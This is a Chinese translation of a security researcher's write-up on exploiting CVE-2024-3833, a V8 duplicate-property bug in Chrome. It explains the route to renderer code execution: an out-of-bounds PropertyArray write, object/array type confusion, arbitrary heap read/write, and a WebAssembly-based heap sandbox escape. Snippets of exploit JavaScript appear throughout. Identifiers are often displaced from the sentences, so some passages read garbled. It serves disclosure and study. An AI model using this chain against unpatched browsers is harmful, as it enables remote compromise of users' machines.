在这篇文章中,我将利用 Chrome 的 Javascript 引擎 v8 中的一个对象损坏漏洞 CVE-2024-3833,该漏洞允许通过一次访问恶意网站在 Chrome 的渲染器沙箱中执行远程代码执行 (RCE)。
在这篇文章中,我将利用 CVE-2024-3833,这是 Chrome 的 JavaScript 引擎 v8 中的一个对象损坏漏洞,我于 2024 年 3 月将其报告为漏洞 331383939。还报告了一个类似的漏洞331358160,其编号为 CVE-2024-3832。这两个漏洞均已在版本124.0.6367.60/.61中修复。CVE-2024-3833 允许通过一次访问恶意网站在 Chrome 的渲染器沙箱中进行 RCE。
Chrome 中的 Origin 试用
Chrome 中的新功能有时会在正式发布之前以来源试用版的形式推出。当某项功能以来源试用版的形式提供时,网络开发者可以向 Chrome 注册他们的来源,这样他们就可以在注册的来源上使用该功能。这样,网络开发者就可以在他们的网站上测试新功能并向 Chrome 提供反馈,同时保持该功能在未请求使用它们的网站上处于禁用状态。来源试用版的有效期有限,任何人都可以注册他们的来源以使用有效试用列表中的功能。通过注册来源,开发者将获得一个来源试用令牌,他们可以通过添加元标记将其包含在他们的网站中 <meta http-equiv="origin-trial" content="TOKEN_GOES_HERE">
:
老漏洞
通常,原始试用功能在运行任何用户 Javascript 之前启用。然而,情况并非总是如此。网页可以随时以编程方式创建包含试用令牌的元标记,并且 Javascript 可以在创建标记之前执行。在某些情况下,负责启用特定原始试用功能的代码会错误地认为在此之前没有运行任何用户 Javascript,这可能会导致安全问题。
其中一个例子是CVE-2021-30561,由Google Project Zero的 Sergei Glazunov 报告。在这种情况下,当检测到原始试用令牌时,WebAssembly 异常处理功能会Exception
在 Javascript 对象中创建一个属性。WebAssembly
let exception = WebAssembly.Exception; //<---- undefined
...
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<---- activates origin trial
...
exception = WebAssembly.Exception; //<---- property created
具体来说,创建属性的代码Exception
使用内部函数来创建属性,该函数假定该Exception
属性不存在于WebAssembly
对象中。如果用户Exception
在激活试用之前创建了该属性,则 Chrome 会尝试Exception
在 中创建另一个属性WebAssembly
。这可能会在 中产生两个具有不同值的重复Exception
属性WebAssembly
。然后可以利用这一点在Exception
属性中引起类型混淆,然后可以利用它来获得 RCE。
WebAssembly.Exception = 1.1;
...
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<---- creates duplicate Exception property
...
CVE-2021-30561 的实际情况更为复杂,因为启用 WebAssembly 异常处理功能的代码会进行检查以确保对象WebAssembly
不包含名为 的属性Exception
。然而,那里使用的检查是不够的,CVE-2021-30561 通过使用 JavascriptProxy
对象绕过了该检查。有关此绕过和利用如何工作的详细信息,我将建议读者查看原始错误单,其中包含所有详细信息。
另一天,另一次绕道
Javascript Promise Integration是一项 WebAssembly 功能,目前处于原始试用阶段(直到 2024 年 10 月 29 日)。与 WebAssembly 异常处理功能类似,它WebAssembly
通过调用以下方法在检测到原始试用令牌时定义对象的属性InstallConditionalFeatures
:
void WasmJs::InstallConditionalFeatures(Isolate* isolate,
Handle context) {
...
// Install JSPI-related features.
if (isolate->IsWasmJSPIEnabled(context)) {
Handle suspender_string = v8_str(isolate, "Suspender");
if (!JSObject::HasRealNamedProperty(isolate, webassembly, suspender_string) //<--- 1.
.FromMaybe(true)) {
InstallSuspenderConstructor(isolate, context);
}
// Install Wasm type reflection features (if not already done).
Handle function_string = v8_str(isolate, "Function");
if (!JSObject::HasRealNamedProperty(isolate, webassembly, function_string) //<--- 2.
.FromMaybe(true)) {
InstallTypeReflection(isolate, context);
}
}
}
当添加 Javascript Promise Integration (JSPI) 时,上面的代码会检查是否webassembly
已经具有属性Suspender
和Function
(上面的 1. 和 2.),如果没有,它将分别使用InstallSuspenderConstructor
和创建这些属性InstallTypeReflection
。该函数InstallSuspenderConstructor
用于在对象上InstallConstructorFunc
创建属性:Suspender
WebAssembly
void WasmJs::InstallSuspenderConstructor(Isolate* isolate,
Handle context) {
Handle webassembly(context->wasm_webassembly_object(), isolate); //<--- 3.
Handle suspender_constructor = InstallConstructorFunc(
isolate, webassembly, "Suspender", WebAssemblySuspender);
...
}
问题在于,在 中InstallSuspenderConstructor
,WebAssembly
对象来自(上面的 3.)wasm_webassembly_object
的属性,而签入的对象来自全局对象的属性(与全局变量相同):context
WebAssembly
InstallConditionalFeatures
WebAssembly
WebAssembly
void WasmJs::InstallConditionalFeatures(Isolate* isolate,
Handle context) {
Handle global = handle(context->global_object(), isolate);
// If some fuzzer decided to make the global object non-extensible, then
// we can't install any features (and would CHECK-fail if we tried).
if (!global->map()->is_extensible()) return;
MaybeHandle maybe_wasm =
JSReceiver::GetProperty(isolate, global, "WebAssembly");
可以使用 Javascript 将全局 WebAssembly 变量更改为任何用户定义的对象:
WebAssembly = {}; //<---- changes the WebAssembly global variable
虽然这会改变 的值WebAssembly
,但wasm_webassembly_object
中的缓存context
不会受到影响。因此,可以先Suspender
在对象上定义一个属性WebAssembly
,然后将WebAssembly
变量设置为不同的对象,然后激活原始试验以在原始对象中Javascript Promise Integration
创建副本:Suspender
WebAssembly
WebAssembly.Suspender = {};
delete WebAssembly.Suspender;
WebAssembly.Suspender = 1;
//stores the original WebAssembly object in oldWebAssembly
var oldWebAssembly = WebAssembly;
var newWebAssembly = {};
WebAssembly = newWebAssembly;
//Activate trial
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<---- creates duplicate Suspender property in oldWebAssembly
%DebugPrint(oldWebAssembly);
触发原始试验后,InstallConditionalFeatures
首先检查全局变量Suspender
中是否存在该属性WebAssembly
(见newWebAssembly
上文)。然后继续Suspender
在中创建该属性context->wasm_webassembly_object
(见oldWebAssembly
上文)。这样做会Suspender
在中创建一个重复的属性oldWebAssembly
,就像 CVE-2021-30561 中发生的情况一样。
DebugPrint: 0x2d5b00327519: [JS_OBJECT_TYPE] in OldSpace
- map: 0x2d5b00387061 [DictionaryProperties]
- prototype: 0x2d5b003043e9
- elements: 0x2d5b000006f5 [HOLEY_ELEMENTS]
- properties: 0x2d5b0034a8fd
- All own properties (excluding elements): {
...
Suspender: 0x2d5b0039422d (data, dict_index: 20, attrs: [W_C])
...
Suspender: 1 (data, dict_index: 19, attrs: [WEC])
这会导致oldWebAssembly
2 个Suspender
属性存储在不同的偏移量。我将此问题报告为331358160,并被分配了 CVE-2024-3832。
该函数InstallTypeReflection
存在类似的问题,但还有一些额外的问题:
void WasmJs::InstallTypeReflection(Isolate* isolate,
Handle context) {
Handle webassembly(context->wasm_webassembly_object(), isolate);
#define INSTANCE_PROTO_HANDLE(Name)
handle(JSObject::cast(context->Name()->instance_prototype()), isolate)
...
InstallFunc(isolate, INSTANCE_PROTO_HANDLE(wasm_tag_constructor), "type", //<--- 1.
WebAssemblyTableType, 0, false, NONE,
SideEffectType::kHasNoSideEffect);
...
#undef INSTANCE_PROTO_HANDLE
}
该函数InstallTypeReflection
还在其他各种对象中定义type
属性。例如,在 1. 中,在的对象type
中创建属性,而不检查该属性是否已存在:prototype
wasm_tag_constructor
var x = WebAssembly.Tag.prototype;
x.type = {};
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<--- creates duplicate type property on x
这样就可以type
在 上创建重复的属性WebAssembly.Tag.prototype
。此问题报告为331383939,并被分配了 CVE-2024-3833。
新的漏洞利用
CVE-2021-30561 的漏洞利用依赖于创建“快速对象”的重复属性。在 v8 中,快速对象将其属性存储在数组中(某些属性也存储在对象本身内)。但是,此后发布了一个强化补丁,该补丁在向快速对象添加属性时会检查重复项。因此,不再可能创建具有重复属性的快速对象。
但是,仍然可以利用该漏洞在“字典对象”中创建重复属性。在 v8 中,属性字典实现为NameDictionary
。 的底层存储NameDictionary
实现为一个数组,每个元素都是形式为 的元组(Key, Value, Attribute)
,其中Key
是属性的名称。向 添加属性时NameDictionary
,数组中的下一个空闲条目用于存储这个新元组。利用此漏洞,可以使用重复的 来在属性字典中创建不同的条目。在CVE-2023-2935Key
的报告中,Sergei Glazunov 展示了如何使用字典对象利用重复属性原语。但是,这依赖于能够将重复属性创建为属性,这是 v8 中的一种特殊属性,通常为内置对象保留。同样,在当前情况下这是不可能的。所以,我需要找到一种新的方法来利用这个问题。AccessorInfo
这个想法是寻找一些内部函数或优化,这些函数或优化将遍历对象的所有属性,但不希望属性重复。我想到的一个这样的优化是对象克隆。
克隆人的进攻
当使用扩展语法复制对象时,将创建原始对象的浅表副本:
const clonedObj = { ...obj1 };
在 v8 中,这被实现为 CloneObject 字节码:
0x39b300042178 @ 0 : 80 00 00 29 CreateObjectLiteral [0], [0], #41
...
0x39b300042187 @ 15 : 82 f7 29 05 CloneObject r2, #41, [5]
首次运行包含字节码的函数时,会生成内联缓存代码,并用于在后续调用中处理字节码。在处理字节码时,内联缓存代码还将收集有关输入对象的信息(obj1
),并为相同类型的输入生成优化的内联缓存处理程序。首次运行内联缓存代码时,没有有关先前输入对象的信息,也没有可用的缓存处理程序。因此,会检测到内联缓存未命中,并CloneObjectIC_Miss
用于处理字节码。为了了解CloneObject
内联缓存的工作原理及其与漏洞利用的关系,我将回顾 v8 中对象类型和属性的一些基础知识。v8 中的 Javascript 对象存储一个map
指定对象类型的字段,特别是它指定属性在对象中的存储方式:
x = { a : 1};
x.b = 1;
%DebugPrint(x);
的输出%DebugPrint
如下:
DebugPrint: 0x1c870020b10d: [JS_OBJECT_TYPE]
- map: 0x1c870011afb1 [FastProperties]
...
- properties: 0x1c870020b161
- All own properties (excluding elements): {
0x1c8700002ac1: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
0x1c8700002ad1: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: properties[0]
}
我们看到x
有两个属性——一个存储在对象中(a
),另一个存储在 a 中PropertyArray
。请注意 的长度为PropertyArray
(3
)PropertyArray[3]
,而 中只存储一个属性PropertyArray
。length
a 的PropertyArray
类似于 C++ 中 a 的容量。容量稍大一些可以避免每次向对象添加新属性时都std::vector
必须扩展和重新分配。PropertyArray
对象的map
使用字段inobject_properties
和unused_property_fields
来指示对象中存储了多少个属性以及 中剩余多少空间PropertyArray
。在本例中,我们有2
可用空间(3 (PropertyArray length) - 1 (property in the array) = 2
)。
0x1c870011afb1: [Map] in OldSpace
- map: 0x1c8700103c35 <MetaMap (0x1c8700103c85 )>
- type: JS_OBJECT_TYPE
- instance size: 16
- inobject properties: 1
- unused property fields: 2
...
当发生缓存未命中时,首先尝试通过检查对象CloneObjectIC_Miss
的来确定克隆的结果(target
)是否可以使用与原始对象()相同的映射(如下文中的 1.):source
map
source
GetCloneModeForMap
RUNTIME_FUNCTION(Runtime_CloneObjectIC_Miss) {
HandleScope scope(isolate);
DCHECK_EQ(4, args.length());
Handle source = args.at(0);
int flags = args.smi_value_at(1);
if (!MigrateDeprecated(isolate, source)) {
...
FastCloneObjectMode clone_mode =
GetCloneModeForMap(source_map, flags, isolate); //<--- 1.
switch (clone_mode) {
case FastCloneObjectMode::kIdenticalMap: {
...
}
case FastCloneObjectMode::kEmptyObject: {
...
}
case FastCloneObjectMode::kDifferentMap: {
...
}
...
}
...
}
...
}
与我们相关的案例是FastCloneObjectMode::kDifferentMap
模式。
case FastCloneObjectMode::kDifferentMap: {
Handle res;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, res, CloneObjectSlowPath(isolate, source, flags)); //<----- 1.
Handle result_map(Handle::cast(res)->map(),
isolate);
if (CanFastCloneObjectWithDifferentMaps(source_map, result_map,
isolate)) {
...
nexus.ConfigureCloneObject(source_map, //<----- 2.
MaybeObjectHandle(result_map));
...
在此模式下,source
首先通过慢速路径(上文中的 1.)对对象进行浅拷贝。然后将内联缓存的处理程序编码为一对映射,分别由source
和target
对象的映射组成(上文中的 2.)。
从现在开始,如果要source_map
克隆另一个具有的对象,则使用内联缓存处理程序source
来克隆该对象。本质上,对象的复制方式如下:
-
复制该
source
对象的 PropertyArray:
TNode source_property_array = CAST(source_properties);
TNode length = LoadPropertyArrayLength(source_property_array);
GotoIf(IntPtrEqual(length, IntPtrConstant(0)), &allocate_object);
TNode property_array = AllocatePropertyArray(length);
FillPropertyArrayWithUndefined(property_array, IntPtrConstant(0), length);
CopyPropertyArrayValues(source_property_array, property_array, length,
SKIP_WRITE_BARRIER, DestroySource::kNo);
var_properties = property_array; -
分配目标对象并用作
result_map
其映射。
TNode object = UncheckedCast(AllocateJSObjectFromMap(
result_map.value(), var_properties.value(), var_elements.value(),
AllocationFlag::kNone,
SlackTrackingMode::kDontInitializeInObjectProperties)); -
将对象内的属性从复制
source
到target
。
BuildFastLoop(
result_start, result_size,
[=](TNode field_index) {
...
StoreObjectFieldNoWriteBarrier(object, result_offset, field);
},
1, LoopUnrollingMode::kYes, IndexAdvanceMode::kPost);
如果我尝试克隆具有重复属性的对象会发生什么?首次运行代码时,CloneObjectSlowPath
会调用 来分配target
对象,然后将每个属性从 复制source
到target
。但是, 中的代码CloneObjectSlowPath
可以正确处理重复属性,因此当遇到 中的重复属性时source
,不会在 中创建重复属性target
,而是覆盖现有属性。例如,如果我的source
对象具有以下布局:
DebugPrint: 0x38ea0031b5ad: [JS_OBJECT_TYPE] in OldSpace
- map: 0x38ea00397745 [FastProperties]
...
- properties: 0x38ea00355e85
- All own properties (excluding elements): {
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171 (const data field 0), location: in-object
0x38ea0038257d: [String] in OldSpace: #a1: 1 (const data field 1), location: in-object
0x38ea0038258d: [String] in OldSpace: #a2: 1 (const data field 2), location: in-object
0x38ea0038259d: [String] in OldSpace: #a3: 1 (const data field 3), location: in-object
0x38ea003825ad: [String] in OldSpace: #a4: 1 (const data field 4), location: properties[0]
0x38ea003825bd: [String] in OldSpace: #a5: 1 (const data field 5), location: properties[1]
0x38ea003825cd: [String] in OldSpace: #a6: 1 (const data field 6), location: properties[2]
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea00397499 (const data field 7), location: properties[3]
其PropertyArray
长度为 ,其中 的最后一个属性4
为。克隆此对象的结果将覆盖第一个属性:type
PropertyArray
target
type
DebugPrint: 0x38ea00355ee1: [JS_OBJECT_TYPE]
- map: 0x38ea003978b9 [FastProperties]
...
- properties: 0x38ea00356001
- All own properties (excluding elements): {
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea00397499 (data field 0), location: in-object
0x38ea0038257d: [String] in OldSpace: #a1: 1 (const data field 1), location: in-object
0x38ea0038258d: [String] in OldSpace: #a2: 1 (const data field 2), location: in-object
0x38ea0038259d: [String] in OldSpace: #a3: 1 (const data field 3), location: in-object
0x38ea003825ad: [String] in OldSpace: #a4: 1 (const data field 4), location: properties[0]
0x38ea003825bd: [String] in OldSpace: #a5: 1 (const data field 5), location: properties[1]
0x38ea003825cd: [String] in OldSpace: #a6: 1 (const data field 6), location: properties[2]
请注意,target
具有和PropertyArray
的length
3
三个属性PropertyArray
(属性#a4..#a6
,location
在中有)。特别是,对象中properties
没有:unused_property_fields
target
0x38ea003978b9: [Map] in OldSpace
- map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 0
虽然这看起来像是一个挫折,因为重复的属性不会传播到对象target
,但真正的魔力发生在内联缓存处理程序接管时。请记住,当使用内联缓存处理程序克隆时,生成的对象map
与target
中的对象相同CloneObjectSlowPath
,而 是对象的PropertyArray
的副本。这意味着来自内联缓存处理程序的克隆具有以下属性布局:PropertyArray
source
target
DebugPrint: 0x38ea003565c9: [JS_OBJECT_TYPE]
- map: 0x38ea003978b9 [FastProperties]
...
- properties: 0x38ea003565b1
- All own properties (excluding elements): {
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171 (data field 0), location: in-object
0x38ea0038257d: [String] in OldSpace: #a1: 1 (data field 1), location: in-object
0x38ea0038258d: [String] in OldSpace: #a2: 1 (data field 2), location: in-object
0x38ea0038259d: [String] in OldSpace: #a3: 1 (data field 3), location: in-object
0x38ea003825ad: [String] in OldSpace: #a4: 1 (data field 4), location: properties[0]
0x38ea003825bd: [String] in OldSpace: #a5: 1 (data field 5), location: properties[1]
0x38ea003825cd: [String] in OldSpace: #a6: 1 (data field 6), location: properties[2]
请注意,它有一个PropertyArray
,length
4
但数组中只有三个属性,剩下一个未使用的属性。但是,它与( )map
使用的相同,后者没有:CloneObjectSlowPath
0x38ea003978b9
unused_property_fields
0x38ea003978b9: [Map] in OldSpace
- map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 0
unused_property_fields
因此,我得到的不是具有重复属性的对象,而是具有不一致的和 的对象PropertyArray
。现在,如果我向此对象添加新属性,map
则会创建一个新的 来反映对象的新属性布局。这个新的map
具有unused_property_fields
基于旧的 的map
,它是在 中计算的AccountAddedPropertyField
。本质上,如果旧的unused_property_fields
为正,则这会将 减unused_property_fields
一以解释正在添加的新属性。如果旧的unused_property_fields
为零,则将新的unused_property_fields
设置为二,以解释PropertyArray
已满且必须扩展 的事实。
另一方面,延长的决定PropertyArray
是基于其length
而不是unused_property_fields
的map
:
void MigrateFastToFast(Isolate* isolate, Handle object,
Handle new_map) {
...
// Check if we still have space in the {object}, in which case we
// can also simply set the map (modulo a special case for mutable
// double boxes).
FieldIndex index = FieldIndex::ForDetails(*new_map, details);
if (index.is_inobject() || index.outobject_array_index() property_array(isolate)->length()) {
...
object->set_map(*new_map, kReleaseStore);
return;
}
// This migration is a transition from a map that has run out of property
// space. Extend the backing store.
int grow_by = new_map->UnusedPropertyFields() + 1;
...
因此,如果我有一个对象,unused_property_fields
其 中有一个空格,但 中有一个空格PropertyArray
(即length = existing_property_number + 1
),那么PropertyArray
当我添加新属性时 不会扩展。因此,添加新属性后, 将PropertyArray
是满的。但是,如前所述,unused_property_fields
会独立更新,并且会设置为 2,就像 扩展PropertyArray
了 一样:
DebugPrint: 0x2575003565c9: [JS_OBJECT_TYPE]
- map: 0x257500397749 [FastProperties]
...
- properties: 0x2575003565b1
- All own properties (excluding elements): {
0x257500004045: [String] in ReadOnlySpace: #type: 0x25750034b171 (data field 0), location: in-object
0x25750038257d: [String] in OldSpace: #a1: 1 (data field 1), location: in-object
0x25750038258d: [String] in OldSpace: #a2: 1 (data field 2), location: in-object
0x25750038259d: [String] in OldSpace: #a3: 1 (data field 3), location: in-object
0x2575003825ad: [String] in OldSpace: #a4: 1 (data field 4), location: properties[0]
0x2575003825bd: [String] in OldSpace: #a5: 1 (data field 5), location: properties[1]
0x2575003825cd: [String] in OldSpace: #a6: 1 (data field 6), location: properties[2]
0x257500002c31: [String] in ReadOnlySpace: #x: 1 (const data field 7), location: properties[3]
}
0x257500397749: [Map] in OldSpace
- map: 0x2575003034b1 <MetaMap (0x257500303501 )>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 2
这很重要,因为 v8 的 JIT 编译器 TurboFan 使用来unused_property_fields
决定是否PropertyArray
需要扩展:
JSNativeContextSpecialization::BuildPropertyStore(
Node* receiver, Node* value, Node* context, Node* frame_state, Node* effect,
Node* control, NameRef name, ZoneVector* if_exceptions,
PropertyAccessInfo const& access_info, AccessMode access_mode) {
...
if (transition_map.has_value()) {
// Check if we need to grow the properties backing store
// with this transitioning store.
...
if (original_map.UnusedPropertyFields() == 0) {
DCHECK(!field_index.is_inobject());
// Reallocate the properties {storage}.
storage = effect = BuildExtendPropertiesBackingStore(
original_map, storage, effect, control);
unused_property_fields
因此,通过向具有两个和一个完整的JIT的对象添加新属性PropertyArray
,我将能够写入PropertyArray
越界 (OOB) 并覆盖其后分配的所有内容。
创建具有重复属性的快速对象
为了触发 OOB 写入PropertyArray
,我首先需要创建一个具有重复属性的快速对象。如前所述,强化补丁在向快速对象添加属性时引入了对重复项的检查,因此我无法直接创建具有重复属性的快速对象。解决方案是首先利用该漏洞创建一个具有重复属性的字典对象,然后将该对象更改为快速对象。为此,我将使用 来WebAssembly.Tag.prototype
触发该漏洞:
var x = WebAssembly.Tag.prototype;
x.type = {};
//delete properties results in dictionary object
delete x.constructor;
//Trigger bug to create duplicated type property
...
一旦我得到了一个具有重复属性的字典对象,我就可以使用 将其更改为快速对象MakePrototypesFast
,这可以通过属性访问触发:
var y = {};
//setting x to the prototype of y
var y.__proto__ = x;
//Property access of `y` calls MakePrototypeFast on x
y.a = 1;
z = y.a;
通过使x
成为对象的原型y
,然后访问 的属性y
,MakePrototypesFast
被称为 变为x
具有重复属性的快速对象。此后,我可以克隆x
以触发 中的 OOB 写入PropertyArray
。
利用 PropertyArray 中的 OOB 写入
要利用 中的 OOB 写入PropertyArray
,我们首先检查并查看 之后分配了什么PropertyArray
。回想一下 是PropertyArray
在内联缓存处理程序中分配的。从处理程序代码中,我可以看到 是在对象分配PropertyArray
之前分配的:target
void AccessorAssembler::GenerateCloneObjectIC() {
...
TNode property_array = AllocatePropertyArray(length); //<--- property_array allocated
...
var_properties = property_array;
}
Goto(&allocate_object);
BIND(&allocate_object);
...
TNode object = UncheckedCast(AllocateJSObjectFromMap( //<--- target object allocated
result_map.value(), var_properties.value(), var_elements.value(),
AllocationFlag::kNone,
SlackTrackingMode::kDontInitializeInObjectProperties));
由于 v8 线性分配对象,因此 OOB 写入允许我更改对象的内部字段。为了利用此漏洞,我将覆盖对象target
的第二个字段,即存储对象地址的字段。这涉及创建 JIT 函数以向对象添加两个属性。target
properties
PropertyArray
target
target
a8 = {c : 1};
...
function transition_store(x) {
x.a7 = 0x100;
}
function transition_store2(x) {
x.a8 = a8;
}
... //JIT optimize transition_store and transition_store2
transition_store(obj);
//Causes the object a8 to be interpreted as PropertyArray of obj
transition_store2(obj);
当将属性存储到具有不一致和的a8
损坏对象时,对的 OOB 写入将用 Javascript 对象覆盖。然后可以通过仔细排列 v8 堆中的对象来利用这一点。由于对象在 v8 堆中线性分配,因此可以通过按顺序分配对象来轻松排列堆。例如,在以下代码中:obj
PropertyArray
unused_property_fields
PropertyArray
PropertyArray
obj
a8
var a8 = {c : 1};
var a7 = [1,2];
对象周围的 v8 堆a8
如下所示:
左侧显示对象a8
和a7
。字段map
、properties,
和elements
是与 Javascript 对象相对应的 C++ 对象中的内部字段。右侧表示将内存视为的视图PropertyArray
(obj
当的设置为的地址时PropertyArray
)obj
。Aa8
有PropertyArray
两个内部字段map
和length
。当对象a8
与的类型混淆时,PropertyArray
其properties
字段(即其的地址PropertyArray
)被解释为的length
的的。由于地址通常是一个大数字,因此这允许进一步对的进行 OOB 读取和写入。PropertyArray
obj
PropertyArray
obj
ai+3
中的属性PropertyArray
将与length
的字段对齐Array
a7
。通过写入此属性,可以覆盖length
的Array
a7
。这使我能够在 Javascript 数组中实现 OOB 写入,这可以以标准方式利用。但是,为了覆盖 字段length
,我必须不断添加属性,obj
直到到达length
字段。不幸的是,这意味着我还将覆盖map
、properties
和elements
字段,这将破坏Array
a7
。
为了避免覆盖 的内部字段a7
,我将改为创建 ,a7
以便其PropertyArray
在它之前分配。这可以通过a7
使用克隆创建来实现:
var obj0 = {c0 : 0, c1 : 1, c2 : 2, c3 : 3};
obj0.c4 = {len : 1};
function clone0(x) {
return {...x};
}
//run clone0(obj0) a few times to create inline cache handler
...
var a8 = {c : 1};
//inline cache handler used to create a7
var a7 = clone0(obj0);
该对象obj0
有 5 个字段,其中最后一个字段c4
存储在PropertyArray
:
DebugPrint: 0xad0004a249: [JS_OBJECT_TYPE]
...
0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d (const data field 4), location: properties[0]
当obj0
使用函数中的内联缓存处理程序进行克隆时clone0
,请记住,对象PropertyArray
的target
(a7
在本例中)首先分配,因此PropertyArray
将a7
在对象之后a8
、但在之前分配a7
:
//address of a8
DebugPrint: 0xad0004a7fd: [JS_OBJECT_TYPE]
//DebugPrint of a7
DebugPrint: 0xad0004a83d: [JS_OBJECT_TYPE]
- properties: 0x00ad0004a829
- All own properties (excluding elements): {
...
0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d (const data field 4), location: properties[0]
}
我们可以看到,的地址a8
为,而的0xad0004a7fd
地址在,且在。这导致了以下内存布局:PropertyArray
a7
0x00ad0004a829
a7
0xad0004a83d
使用此堆布局,我可以通过写入与对齐的中c4
的属性来覆盖 的属性。虽然的和也将被覆盖,但这似乎不会影响 的属性访问。然后,我可以通过使用 JIT 编译器中的优化属性加载在 Javascript和之间创建类型混淆。a7
ai
obj
c4
map
length
PropertyArray
a7
Object
Array
function set_length(x) {
x.c4.len = 1000;
}
当函数以作为其set_length
进行优化时,由于的属性是一个具有常量的对象(它始终为),因此该属性的存储在的中。JIT编译器利用此信息优化的属性访问。只要的与的相同,就会具有与的相同,因此可以直接使用内存偏移量访问的属性,而无需检查的。但是,通过在将中使用 OOB 写入更改为双精度型,,的不会改变,的 JIT 编译代码将把它视为仍然具有与的相同,并直接写入与的属性相对应的内存偏移量。由于现在是一个对象,,这将覆盖的属性,这使我能够越界访问。一旦实现对的 OOB 访问,在 v8 堆中获得任意读写就相当简单了。它主要包括以下步骤:a7
input
x
c4
a7
map
{len : 1}
map
map
a7
x.c4.len
map
x
map
a7
x.c4
map
{len : 1}
len
x.c4
map
x.c4
PropertyArray
a7.c4
Array
corrupted_arr
map
a7
set_length
a7.c4
map
{len : 1}
len
a7.c4
a7.c4
Array
corrupted_arr
length
corrupted_arr
corrupted_arr
corrupted_arr
-
首先,
Object
Array
在 之后放置一个corrupted_arr
,然后使用 OOB 读取原语来corrupted_arr
读取存储在此数组中的对象的地址。这样我就可以获取任何 V8 对象的地址。 -
writeArr
在 之后放置另一个双精度数组,corrupted_arr
并使用 中的 OOB 写入原语将 的字段corrupted_arr
覆盖为对象地址。访问 的元素允许我读取/写入任意地址。element
writeArr
writeArr
绕过v8堆沙箱
最近引入的v8 堆沙箱将 v8 堆与其他进程内存(如可执行代码)隔离开来,并防止 v8 堆内的内存损坏访问堆外的内存。要获得代码执行,需要一种方法来逃离堆沙箱。由于这个错误是在 Pwn2Own 比赛后不久报告的,我决定检查提交内容,看看是否有任何沙箱逃逸问题因比赛而得到修补。果然,有一个提交似乎在修复堆沙箱逃逸问题,我猜想它是在 Pwn2Own 比赛的参赛作品中使用的。
创建WebAssembly.Instance
对象时,可以导入来自 Javascript 或其他 WebAssembly 模块的对象并在实例中使用:
const importObject = {
imports: {
imported_func(arg) {
console.log(arg);
},
},
};
var mod = new WebAssembly.Module(wasmBuffer);
const instance = new WebAssembly.Instance(mod, importObject);
在这种情况下,被imported_func
导入到实例中,并且可以由导入它们的 WebAssembly 模块中定义的 WebAssembly 函数调用:
(module
(func $i (import "imports" "imported_func") (param i32))
(func (export "exported_func")
i32.const 42
call $i
)
为了在 v8 中实现这一点,当WebAssembly.Instance
创建时,FixedAddressArray
使用来存储导入函数的地址:
Handle WasmTrustedInstanceData::New(
Isolate* isolate, Handle module_object) {
...
const WasmModule* module = module_object->module();
int num_imported_functions = module->num_imported_functions;
Handle imported_function_targets =
FixedAddressArray::New(isolate, num_imported_functions);
...
然后,在调用导入函数时将其用作调用目标。由于它FixedAddressArray
位于 v8 堆中,因此一旦我获得 v8 堆中的任意读写原语,它就可以轻松被修改。因此,我可以重写导入的函数目标,这样当在 WebAssembly 代码中调用导入的函数时,它将跳转到我准备获得代码执行的某个 shell 代码的地址。
具体来说,如果导入的函数是 JavascriptMath
函数,则会编译一些包装器代码并将其用作调用目标imported_function_targets
:
bool InstanceBuilder::ProcessImportedFunction(
Handle trusted_instance_data, int import_index,
int func_index, Handle module_name, Handle import_name,
Handle value, WellKnownImport preknown_import) {
...
default: {
...
WasmCode* wasm_code = native_module->import_wrapper_cache()->Get( //kind() == WasmCode::kWasmToJsWrapper) {
...
} else {
// Wasm math intrinsics are compiled as regular Wasm functions.
DCHECK(kind >= ImportCallKind::kFirstMathIntrinsic &&
kind instance_object(), //instruction_start());
}
由于编译后的包装器代码与Liftoff 编译器rx
编译的其他 WebAssembly 代码存储在同一个区域中,因此我可以创建存储数值数据的 WebAssembly 函数,并重写以跳转到这些数据的中间,以便将它们解释为代码并执行。这个想法类似于JIT 喷射,这是一种绕过堆沙箱的方法,但后来被修补了。由于包装器代码和我编译的 WebAssembly 代码位于同一区域,因此可以计算它们之间的偏移量,这使我能够精确跳转到我精心设计的 WebAssembly 代码中的数据来执行任意 shell 代码。imported_function_targets
您可以在此处找到该漏洞及其一些设置说明。
结论
在这篇文章中,我研究了 CVE-2024-3833,这是一个允许在 v8 对象中创建重复属性的漏洞,它与漏洞 CVE-2021-30561 类似。虽然由于代码强化,利用 CVE-2021-30561 中重复属性的方法不再可用,但我能够以不同的方式利用该漏洞。
-
首先将重复的属性转移到对象
PropertyArray
与其之间的不一致之处map
。 -
然后这变成了的 OOB 写入
PropertyArray
,然后我用它来制造 JavascriptObject
和 Javascript之间的类型混淆Array
。 -
一旦实现了这种类型混淆,我就可以重写
length
类型混淆的 JavascriptArray
。然后,这将成为 Javascript 中的 OOB 访问Array
。
一旦在 JavaScript 中实现了 OOB 访问Array
(corrupted_arr
),就可以将其转变为在 v8 堆内进行任意读写,这是相当标准的。它基本上包括以下步骤:
-
首先,
Object
Array
在 之后放置一个corrupted_arr
,然后使用 OOB 读取原语来corrupted_arr
读取存储在此数组中的对象的地址。这样我就可以获取任何 V8 对象的地址。 -
writeArr
在 之后放置另一个双精度数组,corrupted_arr
并使用 中的 OOB 写入原语将 的字段corrupted_arr
覆盖为对象地址。访问 的元素允许我读取/写入任意地址。element
writeArr
writeArr
